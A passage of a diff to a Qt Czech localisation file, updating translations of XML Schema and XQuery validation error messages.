    +        Pro vnější proměnnou s názvem %1 není dostupná žádná hodnota.
    +    
    +    
    +        An argument with name %1 has already been declared. Every argument name must be unique.
    +        Již byl prohlášen jeden argument s názvem %1. Názvy argumentů musí být jednoznačné.
    +    
    +    
             %1 is an invalid template mode name.
             %1 není platným názvem pro řežim předlohy.
         
         
    -        
             At least one time component must appear after the %1-delimiter.
             Po %1-oddělovači se musí objevit alespoň jedna složka času.
         
         
    -        
             Overflow: Date can't be represented.
             Nelze představit datum (Přetečení).
         
    @@ -8860,22 +9158,18 @@ Zvolte, prosím, pro soubor jiný název.
             Operátor %1 se nemůže používat u atomárních hodnot typů %2 a %3.
         
         
    -        
             A zone offset must be in the range %1..%2 inclusive. %3 is out of range.
             Rozdíl v časové zóně musí ležet v oblasti %1..%2 (včetně). %3 leží mimo oblast.
         
         
    -        
             %1 is not a valid XML 1.0 character.
             %1 není platný znak XML 1.0.
         
         
    -        
             The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
             První argument %1 nemůže být typu %2. Musí to být typ %3, %4 nebo %5.
         
         
    -        
             %1 is not a whole number of minutes.
             %1 není celočíselným údajem o minutách.
         
    @@ -8888,12 +9182,10 @@ Zvolte, prosím, pro soubor jiný název.
             Nelze provádět žádnou operaci předvedení od %1 do %2.
         
         
    -        
             No variable by name %1 exists
    -        Neexistuje žádná proměnná s názvem %1
    +        Neexistuje žádná proměnná s názvem %1
         
         
    -        
             Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).
             Jmenný prostor %1 lze spojit pouze s %2. Toto je stanoveno již dopředu.
         
    @@ -8902,1448 +9194,1110 @@ Zvolte, prosím, pro soubor jiný název.
             Druhá veličina, operand, dělení %1 nesmí být nula (%2).
         
         
    -        
             Only one %1 declaration can occur in the query prolog.
             Předmluva k dotazu (prolog) smí obsahovat pouze jedno %1-prohlášení.
         
         
    -        
             Element %1 must have at least one of the attributes %2 or %3.
             Prvek %1 musí mít alespoň jednu z vlastností %2 nebo %3.
         
         
    -        
             If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.
             Když jsou zadány obě hodnoty s časovými zónami, musí mít ten samý rozdíl v časové zóně. %1 a %2 nejsou to samé a jsou tím pádem nepřípustné.
         
         
    -        
             No external functions are supported. All supported functions can be used directly, without first declaring them as external
             Nejsou podporovány vnější funkce. Všechny podporované funkce se dají používat přímo, bez toho, že by byly nejprve prohlášeny za vnější
         
         
    -        
             The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.
             Poslední krok cesty musí obsahovat buď jen uzly nebo jen atomární hodnoty. Nesmí se vyskytovat společně.
         
         
    -        
             Empty particle cannot be derived from non-empty particle.
             Prázdnou částici nelze odvodit z částice, která není prázdná.
         
         
    -        
             Derived particle is missing element %1.
             V odvozené částici chybí prvek %1.
         
         
    -        
             Derived element %1 is missing value constraint as defined in base particle.
             V odvozeném prvku %1 chybí omezení hodnoty, jak je to stanoveno v základní částici.
         
         
    -        
             Derived element %1 has weaker value constraint than base particle.
             Odvozený prvek %1 má slabší omezení hodnoty než má základní částice.
         
         
    -        
             Fixed value constraint of element %1 differs from value constraint in base particle.
             Pevné omezení hodnoty prvku %1 se liší od omezení hodnoty základní částici.
         
         
    -        
             Derived element %1 cannot be nillable as base element is not nillable.
             Odvozený prvek %1 nemůže mít žádnou vlastnost 'nillable', neboť základní prvek žádnou nestanovuje.
         
         
    -        
             Block constraints of derived element %1 must not be more weaker than in the base element.
             Omezení bloku odvozeného prvku %1 nesmí být slabší než v základním prvku.
         
         
    -        
             Simple type of derived element %1 cannot be validly derived from base element.
             Jednoduchý typ odvozeného prvku %1 nemůže být platně odvozen ze základního prvku.
         
         
    -        
             Complex type of derived element %1 cannot be validly derived from base element.
             Složitý typ odvozeného prvku %1 nemůže být platně odvozen ze základního prvku.
         
         
    -        
             Element %1 is missing in derived particle.
             Prvek %1 chybí v odvozené částici.
         
         
    -        
             Element %1 does not match namespace constraint of wildcard in base particle.
             Prvek %1 neodpovídá omezení jmenného prostoru zástupného symbolu (vzor hledání) v základní částici.
         
         
    -        
             Wildcard in derived particle is not a valid subset of wildcard in base particle.
             Zástupný symbol (vzor hledání) v odvozené částici není platnou dílčí množinou zástupného symbolu v základní částici.
         
         
    -        
             processContent of wildcard in derived particle is weaker than wildcard in base particle.
             Vlastnost processContent zástupného symbolu (vzor hledání) odvozené částice je slabší než zástupný symbol (vzor hledání) v základní částici.
         
         
    -        
             Derived particle allows content that is not allowed in the base particle.
             Odvozená částice dovoluje obsah, který není přípustný pro základní částici.
         
         
    -        
             %1 has inheritance loop in its base type %2.
             %1 má ve svém základním typu  %2 v kruzích prováděnou dědičnost.
         
         
    -        
    -        
             Circular inheritance of base type %1.
             V kruzích prováděná dědičnost v základním typu %1.
         
         
    -        
             Circular inheritance of union %1.
             V kruzích prováděná dědičnost při sjednocení %1.
         
         
    -        
             %1 is not allowed to derive from %2 by restriction as the latter defines it as final.
             %1 není dovoleno odvodit z %2 pomocí omezení, neboť posledně uvedený ji určuje jako konečnou.
         
         
    -        
             %1 is not allowed to derive from %2 by extension as the latter defines it as final.
             %1 není dovoleno odvodit z %2 pomocí rozšíření, neboť posledně uvedený ji určuje jako konečnou.
         
         
    -        
             Base type of simple type %1 cannot be complex type %2.
             Složitý typ %2 nemůže být základním typem jednoduchého typu %1.
         
         
    -        
             Simple type %1 cannot have direct base type %2.
             Jednoduchý typ %1 nemůže mít přímý základní typ %2.
         
         
    -        
    -        
             Simple type %1 is not allowed to have base type %2.
             Jednoduchý typ %1 nesmí mít základní typ %2.
         
         
    -        
             Simple type %1 can only have simple atomic type as base type.
             Jednoduchý typ %1 může mít jen jednoduchý malinký základní typ.
         
         
    -        
             Simple type %1 cannot derive from %2 as the latter defines restriction as final.
             Jednoduchý typ %1 nesmí být odvozen z %2 , neboť poslední určuje omezení jako konečné.
         
         
    -        
    -        
             Variety of item type of %1 must be either atomic or union.
             Rozmanitost složkových typů %1 musí být buď malinká nebo sjednocení.
         
         
    -        
    -        
             Variety of member types of %1 must be atomic.
             Rozmanitost členských typů %1 musí být malinká.
         
         
    -        
    -        
             %1 is not allowed to derive from %2 by list as the latter defines it as final.
             %1 není dovoleno odvodit z %2 pomocí seznamu, neboť posledně uvedený ji určuje jako konečnou.
         
         
    -        
             Simple type %1 is only allowed to have %2 facet.
             Jednoduchý typ %1 může mít jen stránky %2.
         
         
    -        
             Base type of simple type %1 must have variety of type list.
             Základní typ jednoduchého typu %1 musí mít rozmanitost seznamu typů.
         
         
    -        
             Base type of simple type %1 has defined derivation by restriction as final.
             Základní typ jednoduchého typu %1 určuje sjednocení pomocí omezení jako konečné.
         
         
    -        
             Item type of base type does not match item type of %1.
             Složkový typ základního typu neodpovídá složkovému typu %1.
         
         
    -        
    -        
             Simple type %1 contains not allowed facet type %2.
             Jednoduchý typ %1 obsahuje nedovolený typ stránky %2.
         
         
    -        
    -        
             %1 is not allowed to derive from %2 by union as the latter defines it as final.
             %1 není dovoleno odvodit z %2 pomocí sjednocení, neboť posledně uvedený ji určuje jako konečnou.
         
         
    -        
             %1 is not allowed to have any facets.
             %1 nesmí mít žádné stránky.
         
         
    -        
             Base type %1 of simple type %2 must have variety of union.
             Základní typ %1 jednoduchého typu %2 musí mít rozmanitost sjednocení typů.
         
         
    -        
             Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute.
             Základní typ %1 jednoduchého typu %2 nesmí mít žádné omezení vlastnosti %3.
         
         
    -        
             Member type %1 cannot be derived from member type %2 of %3's base type %4.
             Členský typ %1 nemůže být odvozen z členského typu %2 ze základního typu %4 %3.
         
         
    -        
             Derivation method of %1 must be extension because the base type %2 is a simple type.
             Rozšíření s musí používat jako způsob dědičnosti (odvození) pro %1, neboť základní typ %2 je jednoduchým typem.
         
         
    -        
             Complex type %1 has duplicated element %2 in its content model.
             Složitý typ %1 má zdvojený prvek %2 ve svém modelu obsahu.
         
         
    -        
             Complex type %1 has non-deterministic content.
             Složitý typ %1 má ne-neměnný obsah.
         
         
    -        
             Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3.
             Vlastnosti složitého typu %1 nejsou žádným platným rozšířením vlastností základního typu %2: %3.
         
         
    -        
             Content model of complex type %1 is not a valid extension of content model of %2.
             Model obsahu složitého typu %1 není žádným platným rozšířením modelu obsahu %2.
         
         
    -        
             Complex type %1 must have simple content.
             Složitý typ %1 musí mít jednoduchý obsah.
         
         
    -        
             Complex type %1 must have the same simple type as its base class %2.
             Složitý typ %1 musí mít jednoduchý obsah.
         
         
    -        
             Complex type %1 cannot be derived from base type %2%3.
             Složitý typ %2 nemůže být odvozen ze základního typu %2%3.
         
         
    -        
             Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3.
             Vlastnosti složitého typu %1  nejsou žádným platným omezením vlastností základního typu %2: %3.
         
         
    -        
             Complex type %1 with simple content cannot be derived from complex base type %2.
             Složitý typ %1 s jednoduchým obsahem nemůže být odvozen ze složitého základního typu %2.
         
         
    -        
             Item type of simple type %1 cannot be a complex type.
             Složkový typ jednoduchého typu %1 nemůže být složitým typem.
         
         
    -        
             Member type of simple type %1 cannot be a complex type.
             Členský typ jednoduchého typu %1 nemůže být složitým typem.
         
         
    -        
             %1 is not allowed to have a member type with the same name as itself.
             %1 nesmí mít členský typ se stejným názvem, jaký má sám.
         
         
    -        
    -        
    -        
             %1 facet collides with %2 facet.
             Stránka %1 se střetává se stránkou %2.
         
         
    -        
             %1 facet must have the same value as %2 facet of base type.
             Stránka %1 musí mít tutéž hodnotu, jakou má stránka %2 základního typu.
         
         
    -        
             %1 facet must be equal or greater than %2 facet of base type.
             Stránka %1 musí být stejná nebo větší než stránka %2 základního typu.
         
         
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
             %1 facet must be less than or equal to %2 facet of base type.
             Stránka %1 musí být menší nebo stejná jako stránka %2 základního typu.
         
         
    -        
             %1 facet contains invalid regular expression
             Stránka %1 obsahuje neplatný pravidelný výraz
         
         
    -        
             Unknown notation %1 used in %2 facet.
             Stránka %2 obsahuje neplatné zaznamenání %1.
         
         
    -        
             %1 facet contains invalid value %2: %3.
             Stránka %1 obsahuje neplatnou hodnotu %2: %3.
         
         
    -        
             %1 facet cannot be %2 or %3 if %4 facet of base type is %5.
             Stránka %1 nesmí být %2 nebo %3, pokud je stránka %4 základního typu %5.
         
         
    -        
             %1 facet cannot be %2 if %3 facet of base type is %4.
             Stránka %1 nesmí být %2, pokud je stránka %3 základního typu %4.
         
         
    -        
    -        
    -        
             %1 facet must be less than or equal to %2 facet.
             Stránka %1 musí být menší nebo stejná jako stránka %2.
         
         
    -        
    -        
    -        
             %1 facet must be less than %2 facet of base type.
             Stránka %1 musí být menší než stránka %2 základního typu.
         
         
    -        
    -        
             %1 facet and %2 facet cannot appear together.
             Stránky %1 a %2 se nemohou objevit spolu.
         
         
    -        
    -        
    -        
             %1 facet must be greater than %2 facet of base type.
             Stránka %1 musí být větší než stránka %2 základního typu.
         
         
    -        
    -        
             %1 facet must be less than %2 facet.
             Stránka %1 musí být menší než stránka %2.
         
         
    -        
    -        
             %1 facet must be greater than or equal to %2 facet of base type.
             Stránka %1 musí být větší nebo stejná jako stránka %2 základního typu.
         
         
    -        
             Simple type contains not allowed facet %1.
             Jednoduchý typ obsahuje nedovolenou stránku %1.
         
         
    -        
             %1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list.
             Stránky %1, %2, %3, %4, %5 a %6 nejsou při odvození (dědičnosti) pomocí seznamu dovoleny.
         
         
    -        
             Only %1 and %2 facets are allowed when derived by union.
             Při odvození (dědičnosti) pomocí sjednocení jsou dovoleny pouze stránky %1 a %2.
         
         
    -        
    -        
             %1 contains %2 facet with invalid data: %3.
             %1 obsahuje stránku %2 s neplatnými daty: %3.
         
         
    -        
             Attribute group %1 contains attribute %2 twice.
             Skupina vlastností %1 obsahuje vlastnost %2 dvakrát.
         
         
    -        
             Attribute group %1 contains two different attributes that both have types derived from %2.
             Skupina vlastností %1 obsahuje dvě rozdílné vlastnosti, obě s typy, které jsou odvozeny z %2.
         
         
    -        
             Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3.
             Skupina vlastností %1 obsahuje vlastnost %2 s omezením hodnoty, typ je ale odvozen z %3.
         
         
    -        
             Complex type %1 contains attribute %2 twice.
             Složitý typ %1 obsahuje vlastnost %2 dvakrát.
         
         
    -        
             Complex type %1 contains two different attributes that both have types derived from %2.
             Složitý typ %1 obsahuje dvě rozdílné vlastnosti, obě s typy, které jsou odvozeny z %2.
         
         
    -        
             Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3.
             Složitý typ %1 obsahuje vlastnost %2 s omezením hodnoty, typ je ale odvozen z %3.
         
         
    -        
             Element %1 is not allowed to have a value constraint if its base type is complex.
             Prvek %1 nesmí mít omezení hodnoty, když je základní typ složitý.
         
         
    -        
             Element %1 is not allowed to have a value constraint if its type is derived from %2.
             Prvek %1 nesmí mít omezení hodnoty, když je jeho typ odvozen z %2.
         
         
    -        
    -        
             Value constraint of element %1 is not of elements type: %2.
             Omezení hodnoty prvku %1 není z typu prvku: %2.
         
         
    -        
             Element %1 is not allowed to have substitution group affiliation as it is no global element.
             Prvek %1 nesmí patřit k skupině nahrazení, neboť není celkovým prvkem.
         
         
    -        
             Type of element %1 cannot be derived from type of substitution group affiliation.
             Typ prvku %1 nemůže být odvozen z typu příslušné skupiny nahrazení.
         
         
    -        
             Value constraint of attribute %1 is not of attributes type: %2.
             Omezení hodnoty vlastnosti %1 není z typu vlastnosti: %2.
         
         
    -        
             Attribute %1 has value constraint but has type derived from %2.
             Vlastnost %1 má mezení hodnoty, ale její typ je odvozen z %2.
         
         
    -        
             %1 attribute in derived complex type must be %2 like in base type.
             Vlastnost %1 v odvozeném složitém typu musí být jako v základním typu %2.
         
         
    -        
             Attribute %1 in derived complex type must have %2 value constraint like in base type.
             Vlastnost %1 v odvozeném složitém typu musí mít omezení hodnoty jako v základním typu %2.
         
         
    -        
             Attribute %1 in derived complex type must have the same %2 value constraint like in base type.
             Vlastnost %1 v odvozeném složitém typu musí mít stejné omezení hodnoty %2 jako v základním typu.
         
         
    -        
             Attribute %1 in derived complex type must have %2 value constraint.
             Vlastnost %1 v odvozeném složitém typu musí omezení hodnoty %2.
         
         
    -        
             processContent of base wildcard must be weaker than derived wildcard.
             Vlastnost 'processContent' základního zástupného symbolu (vzor hledání) musí být slabší než odvozený zástupný symbol (vzor hledání).
         
         
    -        
    -        
             Element %1 exists twice with different types.
             Prvek %1 existuje dvakrát s rozdílnými typy.
         
         
    -        
             Particle contains non-deterministic wildcards.
             Částice obsahuje ne-neměnné zástupné symboly (vzory hledání).
         
         
    -        
    -        
             Base attribute %1 is required but derived attribute is not.
             Základní vlastnost %1 je vyžadována, ale odvozená vlastnost není.
         
         
    -        
             Type of derived attribute %1 cannot be validly derived from type of base attribute.
             Typ odvozené vlastnosti %1 nemůže být platně odvozen z typu základní vlastnosti.
         
         
    -        
             Value constraint of derived attribute %1 does not match value constraint of base attribute.
             Omezení hodnoty odvozené vlastnosti %1 neodpovídá omezení hodnoty základní vlastnosti.
         
         
    -        
             Derived attribute %1 does not exists in the base definition.
    +        Odvozená vlastnost %1 neexistuje v základním vymezení.
    +    
    +    
    +        Derived attribute %1 does not exist in the base definition.
             Odvozená vlastnost %1 neexistuje v základním vymezení.
         
         
    -        
             Derived attribute %1 does not match the wildcard in the base definition.
             Odvozená vlastnost %1 neodpovídá zástupnému symbolu (vzoru hledání) v základním vymezení.
         
         
    -        
             Base attribute %1 is required but missing in derived definition.
             Základní vlastnost %1 je vyžadována, ale chybí v odvozeném vymezení.
         
         
    -        
             Derived definition contains an %1 element that does not exists in the base definition
             Odvozené vymezení obsahuje prvek %1, který v základním vymezení neexistuje
         
         
    -        
             Derived wildcard is not a subset of the base wildcard.
             Odvozený zástupný symbol (vzor hledání) není žádnou dílčí množinou základního zástupného symbolu (vzoru hledání).
         
         
    -        
             %1 of derived wildcard is not a valid restriction of %2 of base wildcard
             Vlastnost %1 odvozeného zástupného symbolu (vzoru hledání) není platným omezením %2 základního zástupného symbolu (vzoru hledání)
         
         
    -        
             Attribute %1 from base type is missing in derived type.
             Vlastnost %1 základního typu chybí v odvozeném typu.
         
         
    -        
             Type of derived attribute %1 differs from type of base attribute.
             Typ odvozené vlastnosti %1 se liší od typu základní vlastnosti.
         
         
    -        
             Base definition contains an %1 element that is missing in the derived definition
             Základní vymezení obsahuje prvek %1, který v odvozeném vymezení chybí
         
         
    -        
             Can not process unknown element %1, expected elements are: %2.
             Nelze zpracovat neznámý prvek %1, očekávanými prvky jsou: %2.
         
         
    -        
             Element %1 is not allowed in this scope, possible elements are: %2.
             Prvek %1 není v této oblasti dovolen; možnými prvky jsou: %2.
         
         
    -        
             Child element is missing in that scope, possible child elements are: %1.
             Podprvek v oblasti chybí; možnými podprvky jsou: %1.
         
         
    -        
             Document is not a XML schema.
             Dokument není schématem XML.
         
         
    -        
             %1 attribute of %2 element contains invalid content: {%3} is not a value of type %4.
             Vlastnost %1 prvku %2 obsahuje neplatný obsah: {%3} není hodnotou typu %4.
         
         
    -        
             %1 attribute of %2 element contains invalid content: {%3}.
             Vlastnost %1 prvku %2 obsahuje neplatný obsah: {%3}.
         
         
    -        
             Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema.
             Cílový jmenný prostor %1 zahrnutého schématu se liší od jím vymezeného cílového jmenného prostoru %2.
         
         
    -        
    -        
             Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema.
             Cílový jmenný prostor %1 zavedeného schématu se liší od jím vymezeného cílového jmenného prostoru %2.
         
         
    -        
             %1 element is not allowed to have the same %2 attribute value as the target namespace %3.
             Prvek %1 nemůže stanovit cílový jmenný prostor %3 jako hodnotu vlastnosti %2.
         
         
    -        
             %1 element without %2 attribute is not allowed inside schema without target namespace.
             Ve schématu bez jmenného prostoru musí mít prvek %1 vlastnost %2.
         
         
    -        
    -        
             %1 element is not allowed inside %2 element if %3 attribute is present.
             Když je přítomna vlastnost %3, nesmí se vyskytovat prvek %1 v prvku %2.
         
         
    -        
    -        
    -        
             %1 element has neither %2 attribute nor %3 child element.
             Prvek %1 nemá ani vlastnost %2 ani podprvek %3.
         
         
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
             %1 element with %2 child element must not have a %3 attribute.
             Prvek %1 nesmí mít vlastnost %3, když existuje podprvek %2.
         
         
    -        
             %1 attribute of %2 element must be %3 or %4.
             Vlastnost %1 prvku %2 může být jen %3 nebo %4.
         
         
    -        
             %1 attribute of %2 element must have a value of %3.
             Vlastnost %1 prvku %2 musí mít hodnotu %3.
         
         
    -        
    -        
             %1 attribute of %2 element must have a value of %3 or %4.
             Vlastnost %1 prvku %2 může mít jen jednu z hodnot %3 nebo %4.
         
         
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
             %1 element must not have %2 and %3 attribute together.
             Vlastnosti %2 a %3 se v prvku %1 nemohou objevit společně.
         
         
    -        
    -        
             Content of %1 attribute of %2 element must not be from namespace %3.
             Obsah vlastnosti %1 prvku %2 nemůže pocházet ze jmenného prostoru %3.
         
         
    -        
    -        
             %1 attribute of %2 element must not be %3.
             Vlastnost %1 prvku %2 nemůže být %3.
         
         
    -        
             %1 attribute of %2 element must have the value %3 because the %4 attribute is set.
             Vlastnost %1 prvku %2 musí mít hodnotu %3, protože je nastavena vlastnost %4.
         
         
    -        
             Specifying use='prohibited' inside an attribute group has no effect.
             Zadání use='prohibited' ve skupině vlastností nemá naprosto žádný účinek.
         
         
    -        
             %1 element must have either %2 or %3 attribute.
             Prvek %1 musí mít buď vlastnost %2 nebo %3.
         
         
    -        
             %1 element must have either %2 attribute or %3 or %4 as child element.
             Prvek %1 musí mít buď vlastnost %2, nebo mít %3 nebo %4 jako podprvek.
         
         
    -        
             %1 element requires either %2 or %3 attribute.
             Prvek %1 vyžaduje buď vlastnost %2 nebo %3.
         
         
    -        
             Text or entity references not allowed inside %1 element
             Text nebo odkazy na entitu nejsou v prvku %1 dovoleny
         
         
    -        
    -        
             %1 attribute of %2 element must contain %3, %4 or a list of URIs.
             Vlastnost %1 prvku %2 musí obsahovat %3, %4 nebo seznam adres (URL).
         
         
    -        
             %1 element is not allowed in this context.
             Prvek %1 není v této souvislosti dovolen.
         
         
    -        
             %1 attribute of %2 element has larger value than %3 attribute.
             Hodnota vlastnosti %1 prvku %2 je větší než hodnota vlastnosti %3.
         
         
    -        
             Prefix of qualified name %1 is not defined.
             Předpona způsobilého názvu %1 není stanovena.
         
         
    -        
    -        
             %1 attribute of %2 element must either contain %3 or the other values.
             Hodnota vlastnosti %1 prvku %2 musí obsahovat buď %3 nebo jiné hodnoty.
         
         
    -        
    -        Component with id %1 has been defined previously.
    +        Component with ID %1 has been defined previously.
             Součást s ID %1 je již stanovena.
         
         
    -        
    +        Component with id %1 has been defined previously.
    +        Součást s ID %1 je již stanovena.
    +    
    +    
             Element %1 already defined.
             Prvek %1 je již stanoven.
         
         
    -        
             Attribute %1 already defined.
             Vlastnost %1 je již stanovena.
         
         
    -        
             Type %1 already defined.
             Typ %1 je již stanoven.
         
         
    -        
             Attribute group %1 already defined.
             Skupina vlastností %1 je již stanovena.
         
         
    -        
             Element group %1 already defined.
             Skupina prvků %1 je již stanovena.
         
         
    -        
             Notation %1 already defined.
             Zápis %1 je již stanoven.
         
         
    -        
             Identity constraint %1 already defined.
             Omezení totožnosti %1 je již stanoveno.
         
         
    -        
             Duplicated facets in simple type %1.
             Zdvojené stránky v jednoduchém typu %1.
         
         
    -        
             %1 references unknown %2 or %3 element %4.
             %1 odkazuje na neznámý prvek %4 (%2 nebo %3).
         
         
    -        
             %1 references identity constraint %2 that is no %3 or %4 element.
             %1 odkazuje na omezení totožnosti %2, které není ani prvek '%3' ani '%4'.
         
         
    -        
             %1 has a different number of fields from the identity constraint %2 that it references.
             U %1 se liší počet polí od omezení totožnosti %2, na kterou odkazuje.
         
         
    -        
             Base type %1 of %2 element cannot be resolved.
             Základní typ %1 prvku %2 nemůže být vyřešen.
         
         
    -        
             Item type %1 of %2 element cannot be resolved.
             Složkový typ %1 prvku %2 nemůže být vyřešen.
         
         
    -        
             Member type %1 of %2 element cannot be resolved.
             Členský typ %1 prvku %2 nemůže být vyřešen.
         
         
    -        
    -        
    -        
             Type %1 of %2 element cannot be resolved.
             Typ %1 prvku %2 nemůže být vyřešen.
         
         
    -        
             Base type %1 of complex type cannot be resolved.
             Základní typ %1 složitého typu nemůže být vyřešen.
         
         
    -        
             %1 cannot have complex base type that has a %2.
             %1 nelze mít žádný složitý základní typ, který má %2.
         
         
    -        
             Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type.
             Model obsahu složitého typu %1 obsahuje prvek %2; nelze jej proto odvodit pomocí rozšíření z ne-prázdného typu.
         
         
    -        
             Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model.
             Složitý typ %1 nemůže být odvozen pomocí rozšíření z %2, neboť poslední obsahuje prvek '%3' ve svém modelu obsahu.
         
         
    -        
             Type of %1 element must be a simple type, %2 is not.
             Typ prvku %1 musí být jednoduchým prvkem, což %2 není.
         
         
    -        
             Substitution group %1 of %2 element cannot be resolved.
             Skupina nahrazení %1 prvku %2 nemůže být vyřešena.
         
         
    -        
             Substitution group %1 has circular definition.
             Skupina nahrazení %1 má v kruzích prováděné vymezení.
         
         
    -        
    -        
             Duplicated element names %1 in %2 element.
             Název prvku %1 se vyskytuje v prvku %2 vícekrát.
         
         
    -        
    -        
    -        
    -        
             Reference %1 of %2 element cannot be resolved.
             Odkaz %1 prvku %2 nemůže být vyřešen.
         
         
    -        
             Circular group reference for %1.
             V kruzích prováděný skupinový odkaz pro %1.
         
         
    -        
             %1 element is not allowed in this scope
             Prvek %1 není v této oblasti dovolen
         
         
    -        
             %1 element cannot have %2 attribute with value other than %3.
             Hodnota vlastnosti %2 prvku %1 může být pouze %3.
         
         
    -        
             %1 element cannot have %2 attribute with value other than %3 or %4.
             Hodnota vlastnosti %2 prvku %1 může být pouze %3 nebo %4.
         
         
    -        
             %1 or %2 attribute of reference %3 does not match with the attribute declaration %4.
             Vlastnost %1 nebo %2 odkazu %3 neodpovídá prohlášení vlastnosti %4.
         
         
    -        
             Attribute group %1 has circular reference.
             Skupina vlastnosti %1 má kruzích prováděný odkaz.
         
         
    -        
             %1 attribute in %2 must have %3 use like in base type %4.
             Vlastnost %1 v %2 musí mít použití '%3' jako v základním typu %4.
         
         
    -        
             Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2.
             Zástupný symbol vlastnosti (vzor hledání) %1není platným omezením zástupného symbolu vlastnosti (vzoru hledání) základního typu %2.
         
         
    -        
             %1 has attribute wildcard but its base type %2 has not.
             %1 má zástupný symbol vlastnosti (vzor hledání), ale jeho základní typ %2 nemá.
         
         
    -        
             Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible.
             Sjednocení zástupného symbolu vlastnosti (vzoru hledání) typu %1 a zástupného symbolu vlastnosti (vzoru hledání) jeho základního typu %2 není vyjádřitelné.
         
         
    -        
             Enumeration facet contains invalid content: {%1} is not a value of type %2.
             Výčtová stránka obsahuje neplatný obsah: {%1} není hodnotou typu %2.
         
         
    -        
             Namespace prefix of qualified name %1 is not defined.
             Předpona jmenného prostoru způsobilého názvu %1 není stanovena.
         
         
    -        
    -        
             %1 element %2 is not a valid restriction of the %3 element it redefines: %4.
             Prvek %2 (%1) není platným omezením přepisovaného prvku (%3): %4.
         
         
    -        
    -        
    -        
             %1 is not valid according to %2.
             %1 je podle %2 neplatné.
         
         
    -        
             String content does not match the length facet.
             Obsah řetězce znaků neodpovídá stránce délky.
         
         
    -        
             String content does not match the minLength facet.
             Obsah řetězce znaků neodpovídá stránce délky (nejmenší údaj, 'minLength').
         
         
    -        
             String content does not match the maxLength facet.
             Obsah řetězce znaků neodpovídá stránce délky (největší údaj; 'maxLength').
         
         
    -        
             String content does not match pattern facet.
             Obsah řetězce znaků neodpovídá stránce vzoru pro hledání.
         
         
    -        
             String content is not listed in the enumeration facet.
             Obsah řetězce znaků není obsažen ve výčtové stránce.
         
         
    -        
             Signed integer content does not match the maxInclusive facet.
             Celočíselná hodnota označená znaménkem neodpovídá stránce 'maxInclusive'.
         
         
    -        
             Signed integer content does not match the maxExclusive facet.
             Celočíselná hodnota označená znaménkem neodpovídá stránce 'maxExclusive'.
         
         
    -        
             Signed integer content does not match the minInclusive facet.
             Celočíselná hodnota označená znaménkem neodpovídá stránce 'minInclusive'.
         
         
    -        
             Signed integer content does not match the minExclusive facet.
             Celočíselná hodnota označená znaménkem neodpovídá stránce 'minExclusive'.
         
         
    -        
             Signed integer content is not listed in the enumeration facet.
             Celočíselná hodnota označená znaménkem není obsažena ve výčtové stránce.
         
         
    -        
             Signed integer content does not match pattern facet.
             Celočíselná hodnota označená znaménkem neodpovídá stránce vzoru pro hledání.
         
         
    -        
             Signed integer content does not match in the totalDigits facet.
             Celočíselná hodnota označená znaménkem neodpovídá stránce 'totalDigits'.
         
         
    -        
             Unsigned integer content does not match the maxInclusive facet.
             Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce 'maxInclusive'.
         
         
    -        
             Unsigned integer content does not match the maxExclusive facet.
             Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce 'maxExclusive'.
         
         
    -        
             Unsigned integer content does not match the minInclusive facet.
             Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce 'minInclusive'.
         
         
    -        
             Unsigned integer content does not match the minExclusive facet.
             Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce 'minExclusive'.
         
         
    -        
             Unsigned integer content is not listed in the enumeration facet.
             Celočíselná hodnota jsoucí bez znaménka není obsažena ve výčtové stránce.
         
         
    -        
             Unsigned integer content does not match pattern facet.
             Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce vzoru pro hledání.
         
         
    -        
             Unsigned integer content does not match in the totalDigits facet.
             Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce 'totalDigits'.
         
         
    -        
             Double content does not match the maxInclusive facet.
             Číslo s pohyblivou čárkou neodpovídá stránce 'maxInclusive'.
         
         
    -        
             Double content does not match the maxExclusive facet.
             Číslo s pohyblivou čárkou neodpovídá stránce 'maxExclusive'.
         
         
    -        
             Double content does not match the minInclusive facet.
             Číslo s pohyblivou čárkou neodpovídá stránce 'minInclusive'.
         
         
    -        
             Double content does not match the minExclusive facet.
             Číslo s pohyblivou čárkou neodpovídá stránce 'minExclusive'.
         
         
    -        
             Double content is not listed in the enumeration facet.
             Číslo s pohyblivou čárkou není obsaženo ve výčtové stránce.
         
         
    -        
             Double content does not match pattern facet.
             Číslo s pohyblivou čárkou neodpovídá stránce vzoru pro hledání.
         
         
    -        
             Decimal content does not match in the fractionDigits facet.
             Desetinné číslo neodpovídá stránce 'fractionDigits'.
         
         
    -        
             Decimal content does not match in the totalDigits facet.
             Desetinné číslo neodpovídá stránce 'totalDigits'.
         
         
    -        
             Date time content does not match the maxInclusive facet.
             Údaj o datu neodpovídá stránce 'maxInclusive'.
         
         
    -        
             Date time content does not match the maxExclusive facet.
             Údaj o datu neodpovídá stránce 'maxExclusive'.
         
         
    -        
             Date time content does not match the minInclusive facet.
             Údaj o datu neodpovídá stránce 'minInclusive'.
         
         
    -        
             Date time content does not match the minExclusive facet.
             Údaj o datu neodpovídá stránce 'minExclusive'.
         
         
    -        
             Date time content is not listed in the enumeration facet.
             Údaj o datu není obsažen ve výčtové stránce.
         
         
    -        
             Date time content does not match pattern facet.
